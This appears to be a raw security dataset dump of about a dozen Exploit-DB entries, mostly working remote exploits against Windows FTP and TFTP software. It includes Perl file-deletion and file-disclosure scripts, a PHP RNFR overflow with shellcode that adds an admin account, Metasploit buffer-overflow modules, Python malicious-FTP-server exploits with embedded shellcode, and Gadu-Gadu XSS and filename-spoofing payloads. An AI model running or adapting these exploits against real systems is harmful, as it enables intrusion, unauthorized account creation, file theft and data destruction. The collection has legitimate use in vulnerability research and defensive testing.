deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1201
Description: FTP Internet Access Manager 1.2 - Command Execution
Type: remote
Platform: windows
Date: 2005-09-07
Author: basher13

Exploit:
#!usr/bin/perl
#
#   FTP Internet Access Manager Command Exploit
# ----------------------------------------------
#      Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: www.softfolder.com/internet_access_manager.html
# 

use IO::Socket;

if (@ARGV != 4) 
{ 
print "\n FTP Internet Access Manager Command Exploit\n";
print "---------------------------------------------\n\n";
print "[!] usage: perl $0 [host] [user] [pass] [*file]\n";
print "[?] exam: perl $0 localhost admin 123 C:\\WINNT\\system32\\command.exe\n";
print "*Only at dir Internet Access Manager was installed that user can delete\nany files type(e.g C:\\)\n\n"; 
exit ();
} 

$adr = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];
$flz = $ARGV[3];

print "\n[+] Connect to $adr..\n";
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>21, Reuse=>1) or die "Error: can't connect to $adr:21\n";

$chr1 = "\x55\x53\x45\x52";
$chr2 = "\x50\x41\x53\x53";

$dll = "\x44\x45\x4c\x45";
$tou = "\x70\x6f\x72\x74";
$bel = "\x32\x31";

$cowflaw = $tou.$bel;

$tmp = "\x53\x54\x4f\x55";
$chop = "\x4f\x56\x45\x52";

print "[+] Connected\n";
$remote->autoflush(1);
print "[+] FTP Server ..ready\n";

print $remote "$chr1 $user\n" and print "[+] Send -> USER $user...\n" or die
"[-] Error: can't send user\n";
sleep(1);
print $remote "$chr2 $pass\n" and print "[+] Send -> PASS $pass...\n" or die
"[-] Error: can't send pass\n";
sleep(2);
print "[+] User admin logged in\n";
print "[+] Press[enter] to DELETE $flz\n";
$bla= ;
print $remote "$dll /$flz\n";
sleep(2);
print "[+] Success\n";
sleep(1);
print "[+] Sending trash mount..\n";
sleep(1);
print $remote "$cowflaw\n";
print $remote "$tmp\n";
print "[+] Trashing folder[1]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[2]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[3]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[4]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[5]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[6]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[7]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[8]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[9]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[10]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[11]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[12]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[13]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[14]..\n";
print $remote "$tmp\n";
print "[+] Trashing folder[15]..\n";
print $remote "$tmp\n";
sleep(2);
print "[+] DONE\n\n";
print $remote "$chop\n";  
print "W00t.FTP Flawned!\n";
print "..press any key to exit\n";
$bla= ;
close $remote;

# milw0rm.com [2005-09-07]
Exploit-DB #8398
Description: FTPDMIN 0.96 (Windows XP SP3) - 'RNFR' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-04-13
Author: surfista

Exploit:
<?php
/*
   ftpdmin v. 0.96 RNFR remote buffer overflow exploit (xp sp3 / case study)
   by Nine:Situations:Group::surfista
   software site: http://www.sentex.net/~mwandel/ftpdmin/
   our site: http://retrogod.altervista.org/

   bug found by rgod in 2006, RNFR sequences can trigger a simple eip overwrite.
   We can use 272 bytes before EIP and 119 after EIP, ESP and EBP points to 
   the second memory region.
   We have a very small set of chars that we can use ,RNFR (Rename From) command  
   accept pathnames as argument, so characters whose integer representations are 
   in the range from zero through 31 and reserved chars are not allowed!
*/

error_reporting(7);
$ftp_server = "192.168.0.1";
$ftp_user   = "anonymous";
$ftp_pass   = "anon@email.com";

function ftp_cmd($cmd){
    global $conn_id;
    echo "-> ".$cmd."\n";
    $buff=ftp_raw($conn_id,$cmd);
}

                #WinExec shellcode of mine, enconded with the alpha2 tool by SkyLined, adds
                #a "surfista" admin user with pass "pass"
                #contains hardcoded address, re-encode command:
                #alpha2 esp < shdmp.txt
                $____scode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI".
                           "Xkb3SkfQkpBp4qo0nhBcaZPSMknMq3mValkOYCtqYPYxxhKO9okOe3BMrD5pTocS5".
                           "prnReqDWPCev32e1BWPt3sEQbRFE9T3PtqqWPRPSQPsBSUpTosqctRdWPGVa6epPN".
                           "w5F4EpRlRossG1PLw7brpOrupP5paQ1tPmaypnSYbSPtd2Pa44BOT2T3UpfOw1qTw".
                           "4gPqcpupr3VQybSrTE1kOA";      
                #do not touch, esp adjustment and subsequent call esp, very large but we have lots of unused space
                $____code ="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI".
                           "NcXl1oK3JLsOOs8lSOMSXlQoK3zL14KOm4F22EbSrOpusBSSsUGPpipdUpesVVA";
                if (strlen($____scode) > 272) {die("[!] shellcode too large!");}
                $conn_id = ftp_connect($ftp_server) or die("(!) Unable to connect to $ftp_server");
                if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
                    echo "(*) Connected as $ftp_user@$ftp_server\n";
                } else {
                    die("(!) Unable to connect as $ftp_user\n");
                }
                $____jnk = str_repeat("\x66",272 - strlen($____scode));
                $____eip="\x44\x3a\x41\x7e";     //0x7E413A44      jmp esp, user32.dll xp sp3
                $____jnk_ii = str_repeat("\x66",119 - strlen($____code));
                $____bof=$____scode.$____jnk.$____eip.$____code.$____jnk_ii;
                $____boom="RNFR ".str_repeat("x",0x0096);
                ftp_cmd($____boom);
                $____boom="RNFR ".$____bof;
                ftp_cmd($____boom);
                $____boom="RNFR ".str_repeat("x",0x0208);
                ftp_cmd($____boom);
                ftp_close($conn_id);
                echo "(*) Done !\n";
?>

# milw0rm.com [2009-04-13]
Exploit-DB #8419
Description: FTPDMIN 0.96 - Arbitrary File Disclosure
Type: remote
Platform: windows
Date: 2009-04-13
Author: Stack

Exploit:
#!/usr/bin/perl
#       ftpdmin 0.96 Arbitrary File Disclosure Exploit
#       Vulnerability Disclosure by 1 Slach or 2 Slach
#       Tested on Win XP SP2 but it work in other box environment
# Abouts Exploit : first thing after we exec the application it make our box a simple ftp server
# so like we see if we want conect in ftp we make that's cmd >> ftp 127.0.0.1 >> user & password allright
# but here our application make an ftp link for exec and partage some file in our box
# so we profite with this partage fontion to get some importent file in server like boot.ini for example
# for that's i make this exploit it conect to ftp trget via 21 port and if after with a single or doble slach we wrote
# our importent file like boot.ini
# so this the end of all
# message for (ks) use your mind to have more importent thing in server
 

use LWP::Simple;
use LWP::UserAgent;
 
if (@ARGV < 3) {
            print("Usage: $0 <url> <port> <filename> <target> \n");
            print("TARGETS are\n ");
            print("Define full path with file name \n");
            print("Example FTP: perl $0 127.0.0.1 21 boot.ini \n");
            exit(1);
                    }
                    ($target, $port,$filename) = @ARGV;
        print("ftpdmin 0.96 Exploit : Coded by Stack!\n");
        print("Attacking $target on port $port!\n");
        print("FILENAME:  $filename\n");
       
        $temp="/" x 2;
         my $url= "ftp://". $target. ":" . $port .$temp . $filename;
            $content=get $url;
            print("\n FILE CONTENT STARTED");
            print("\n -----------------------------------\n");
            print("$content");
            print("\n -------------------------------------\n");

# milw0rm.com [2009-04-13]
Exploit-DB #16725
Description: FTPGetter Standard 3.55.0.05 - Remote Stack Buffer Overflow (PWD) (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: ftpgetter_pwd_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::FtpServer
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)',
			'Description'    => %q{
					This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client.
				When processing the response on a PWD command, a stack based buffer overflow occurs.
				This leads to arbitrary code execution when a structured exception handler gets
				overwritten.
			},
			'Author' 	 =>
				[
					'ekse',	# found the bug
					'corelanc0d3r',	#  wrote the exploit
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 11039 $",
			'References'     =>
				[
					[ 'OSVDB', '68638'],
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5  } ],  # ppr [ssleay32.dll]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget'  => 0))

	end

	def setup
		super
		badchars = ""
		eggoptions =
		{
		:checksum => true,
		:eggtag => "W00T"
		}
		@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_pass(c,arg)
		@state[c][:pass] = arg
		c.put("230 OK #{@egg}\r\n")
		return
	end

	def on_client_command_pwd(c,arg)
		junk1 = "A" * target['Offset']
		junk2 = "A" * 9
		nseh = "\x74\x06\x41\x41"
		jmp = "\x75\x08"
		seh = [target.ret].pack('V')
		junk3 = "D" * 22000
		#dual offset
		buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk3
		c.put("257 \"/\" #{buffer}\r\n")
		print_status("Sent payload, #{buffer.length} bytes")
		print_status("Wait for hunter ...")
		return
	end

end
Exploit-DB #16736
Description: FTPShell 5.1 - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: ftpshell51_pwd_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Exploit::Remote::FtpServer
	include Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FTPShell 5.1 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
				triggered when the ftp clients tries to process an overly response to a PWD command.
				This will overwrite the saved EIP and structured exception handler.
			},
			'Author' 	 =>
				[
					'corelanc0d3r'	#found bug, wrote the exploit
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 11039 $",
			'References'     =>
				[
					[ 'OSVDB', '68639'],
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483  } ], #jmp ebp [setupapi.dll]]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget'  => 0))

	end


	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end


	def on_client_command_pwd(c,arg)

		badchars = ""
		eggoptions =
		{
		:checksum => true,
		:eggtag => "w00t"
		}
		hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

		print_status(" - PWD command -> Sending payload")
		junk = "A" * target['Offset']
		nops = "A" * 10
		tweakhunter = "\x5a\x5a"
		eip = [target.ret].pack('V')
		buffer = junk + eip + nops + tweakhunter + hunter + egg
		pwdoutput = "257  \"/" + buffer+ "\" is current directory\r\n"
		c.put(pwdoutput)
		print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
		return

	end

end
Exploit-DB #41511
Description: FTPShell Client 6.53 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2017-03-04
Author: Peter Baris

Exploit:
# Exploit Title: FTPShell Client 6.53 buffer overflow on making initial connection
# Date: 2017-03-04
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: http://www.ftpshell.com/downloadclient.htm
# Version: Windows Server 2008 R2 x64
# Tested on: Windows Server 2008 R2 Standard x64
# CVE: CVE-2017-6465

# 2017-03-04: Software vendor notified
# 2017-03-06: No reply
# 2017-03-06: Publishing

import socket
import sys

shell=("\xdb\xce\xbf\xaa\xcc\x44\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x52\x83\xc2\x04\x31\x7a\x13\x03\xd0\xdf\xa6\x3c\xd8\x08\xa4"
"\xbf\x20\xc9\xc9\x36\xc5\xf8\xc9\x2d\x8e\xab\xf9\x26\xc2\x47"
"\x71\x6a\xf6\xdc\xf7\xa3\xf9\x55\xbd\x95\x34\x65\xee\xe6\x57"
"\xe5\xed\x3a\xb7\xd4\x3d\x4f\xb6\x11\x23\xa2\xea\xca\x2f\x11"
"\x1a\x7e\x65\xaa\x91\xcc\x6b\xaa\x46\x84\x8a\x9b\xd9\x9e\xd4"
"\x3b\xd8\x73\x6d\x72\xc2\x90\x48\xcc\x79\x62\x26\xcf\xab\xba"
"\xc7\x7c\x92\x72\x3a\x7c\xd3\xb5\xa5\x0b\x2d\xc6\x58\x0c\xea"
"\xb4\x86\x99\xe8\x1f\x4c\x39\xd4\x9e\x81\xdc\x9f\xad\x6e\xaa"
"\xc7\xb1\x71\x7f\x7c\xcd\xfa\x7e\x52\x47\xb8\xa4\x76\x03\x1a"
"\xc4\x2f\xe9\xcd\xf9\x2f\x52\xb1\x5f\x24\x7f\xa6\xed\x67\xe8"
"\x0b\xdc\x97\xe8\x03\x57\xe4\xda\x8c\xc3\x62\x57\x44\xca\x75"
"\x98\x7f\xaa\xe9\x67\x80\xcb\x20\xac\xd4\x9b\x5a\x05\x55\x70"
"\x9a\xaa\x80\xd7\xca\x04\x7b\x98\xba\xe4\x2b\x70\xd0\xea\x14"
"\x60\xdb\x20\x3d\x0b\x26\xa3\x82\x64\xee\xb3\x6b\x77\xee\xa2"
"\x37\xfe\x08\xae\xd7\x56\x83\x47\x41\xf3\x5f\xf9\x8e\x29\x1a"
"\x39\x04\xde\xdb\xf4\xed\xab\xcf\x61\x1e\xe6\xad\x24\x21\xdc"
"\xd9\xab\xb0\xbb\x19\xa5\xa8\x13\x4e\xe2\x1f\x6a\x1a\x1e\x39"
"\xc4\x38\xe3\xdf\x2f\xf8\x38\x1c\xb1\x01\xcc\x18\x95\x11\x08"
"\xa0\x91\x45\xc4\xf7\x4f\x33\xa2\xa1\x21\xed\x7c\x1d\xe8\x79"
"\xf8\x6d\x2b\xff\x05\xb8\xdd\x1f\xb7\x15\x98\x20\x78\xf2\x2c"
"\x59\x64\x62\xd2\xb0\x2c\x92\x99\x98\x05\x3b\x44\x49\x14\x26"
"\x77\xa4\x5b\x5f\xf4\x4c\x24\xa4\xe4\x25\x21\xe0\xa2\xd6\x5b"
"\x79\x47\xd8\xc8\x7a\x42")

port = 21

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[i] FTP server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")



# 004b95dc in ftpshell.exe PUSH ESI ; RETN
eip = "\xdc\x95\x4b"
nops = "\x90"*8 
junk = "A"*(400-len(nops)-len(shell))
buffer = nops + shell + junk + eip

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to your unfriendly FTP server\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')
Exploit-DB #44596
Description: FTPShell Client 6.7 - Buffer Overflow
Type: remote
Platform: windows
Date: 2018-05-08
Author: r4wd3r

Exploit:
# -*- coding: utf-8 -*-

# Exploit Title: FTPShell Client 6.7 - Remote Buffer Overflow
# Date: 2018-01-03
# Exploit Author: Sebastián Castro @r4wd3r
# Vendor Homepage: http://www.ftpshell.com/index.htm
# Software Link: http://www.ftpshell.com/download.htm
# Version: 6.7
# Tested on: Windows Server 2008 R2 x64, Windows 7 SP1 x64, Windows XP SP3 x86.
# CVE : CVE-2018-7573

import socket
import sys

port = 21

# msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00\x22\x0d\x0a'
buf =  ""
buf += "\xdb\xc8\xba\x3e\x93\x15\x8f\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xc6\x3a\x71"
buf += "\xe0\x73\xaa\xf7\x0b\x8c\x2a\x98\x82\x69\x1b\x98\xf1"
buf += "\xfa\x0b\x28\x71\xae\xa7\xc3\xd7\x5b\x3c\xa1\xff\x6c"
buf += "\xf5\x0c\x26\x42\x06\x3c\x1a\xc5\x84\x3f\x4f\x25\xb5"
buf += "\x8f\x82\x24\xf2\xf2\x6f\x74\xab\x79\xdd\x69\xd8\x34"
buf += "\xde\x02\x92\xd9\x66\xf6\x62\xdb\x47\xa9\xf9\x82\x47"
buf += "\x4b\x2e\xbf\xc1\x53\x33\xfa\x98\xe8\x87\x70\x1b\x39"
buf += "\xd6\x79\xb0\x04\xd7\x8b\xc8\x41\xdf\x73\xbf\xbb\x1c"
buf += "\x09\xb8\x7f\x5f\xd5\x4d\x64\xc7\x9e\xf6\x40\xf6\x73"
buf += "\x60\x02\xf4\x38\xe6\x4c\x18\xbe\x2b\xe7\x24\x4b\xca"
buf += "\x28\xad\x0f\xe9\xec\xf6\xd4\x90\xb5\x52\xba\xad\xa6"
buf += "\x3d\x63\x08\xac\xd3\x70\x21\xef\xb9\x87\xb7\x95\x8f"
buf += "\x88\xc7\x95\xbf\xe0\xf6\x1e\x50\x76\x07\xf5\x15\x88"
buf += "\x4d\x54\x3f\x01\x08\x0c\x02\x4c\xab\xfa\x40\x69\x28"
buf += "\x0f\x38\x8e\x30\x7a\x3d\xca\xf6\x96\x4f\x43\x93\x98"
buf += "\xfc\x64\xb6\xfa\x63\xf7\x5a\xd3\x06\x7f\xf8\x2b"

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[+] FTP server started on port: "+str(port)+"\r\n")
except:
        print("[x] Failed to start the server on port: "+str(port)+"\r\n")

eip = "\xed\x2e\x45" # CALL ESI from FTPShell.exe : 0x00452eed
nops = "\x90"*40
junk = "F"*(400 - len(nops) - len(buf))
payload = nops + buf + junk + eip

while True:
    conn, addr = s.accept()
    conn.send('220 FTP Server\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+payload+'" is current directory\r\n')
Exploit-DB #16344
Description: FutureSoft TFTP Server 2000 - Transfer-Mode Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: futuresoft_transfermode.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the FutureSoft TFTP Server
				2000 product. By sending an overly long transfer-mode string, we were able
				to overwrite both the SEH and the saved EIP. A subsequent write-exception
				that will occur allows the transferring of execution to our shellcode
				via the overwritten SEH. This module has been tested against Windows
				2000 Professional and for some reason does not seem to work against
				Windows 2000 Server (could not trigger the overflow at all).
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					['CVE', '2005-1812'],
					['OSVDB', '16954'],
					['BID', '13821'],
					['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],

				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 350,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4} ], # ws2help.dll
					['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad} ], # ws2help.dll
					['Windows NT SP5/SP6a English',    { 'Ret' => 0x776a1799} ], # ws2help.dll
					['Windows 2003 Server English',    { 'Ret' => 0x7ffc0638} ], # PEB return
				],
			'Privileged'     => true,
			'DisclosureDate' => 'May 31 2005'))

		register_options(
			[
				Opt::RPORT(69)
			], self.class)

	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		sploit  = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"
		sploit += rand_text_english(167, payload_badchars)
		seh  = generate_seh_payload(target.ret)
		sploit[157, seh.length] = seh
		sploit += "\x00"

		udp_sock.put(sploit)

		handler
		disconnect_udp
	end

end
Exploit-DB #24404
Description: Gadu-Gadu 6.0 - File Download Filename Obfuscation
Type: remote
Platform: windows
Date: 2004-08-23
Author: Bartosz Kwitkowski

Exploit:
source: https://www.securityfocus.com/bid/11017/info

Gadu-Gadu is a Polish instant messaging application for Microsoft Windows operating systems.

It is reported that the Gadu-Gadu instant messenger application contains a weakness allowing attackers to obfuscate file extensions.

This may allow an attacker to send potentially malicious executable files to users who think that they are downloading files that are believed to be harmless. 

file.ext%20(220%20kB)%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.exe
Exploit-DB #25009
Description: Gadu-Gadu 6.0 - URL Parser JavaScript Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-12-17
Author: Jaroslaw Sajko

Exploit:
source: https://www.securityfocus.com/bid/11998/info

Multiple remote vulnerabilities reportedly affect Gadu-Gadu instant messenger. It supports the DCC (Direct Client Connection) protocol, facilitating the transfer of files and messages between users.

The input validation issue is an HTML injection vulnerability in the instant messaging system. It is worth noting that this issue, although not exactly the same, resembles closely the HTML injection issue outlined in BID 11899 (Gadu-Gadu Multiple Remote Vulnerabilities). The denial of service vulnerability is due to a bug in the image handling code of the affected application.

An attacker may leverage these issues to carry out HTML injection attacks, potentially stealing sensitive information, and to carry out denial of service attacks, denying legitimate users of access to the affected software. 

www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28%22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl
Exploit-DB #33981
Description: GameCore 2.5 - 'GameID' Integer Overflow
Type: remote
Platform: windows
Date: 2010-05-13
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/40155/info

GameCore is prone to a remote integer-overflow vulnerability.

An attacker can exploit this issue to cause a denial-of-service condition.

GameCore 2.5 is vulnerable; other versions may be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33981.dat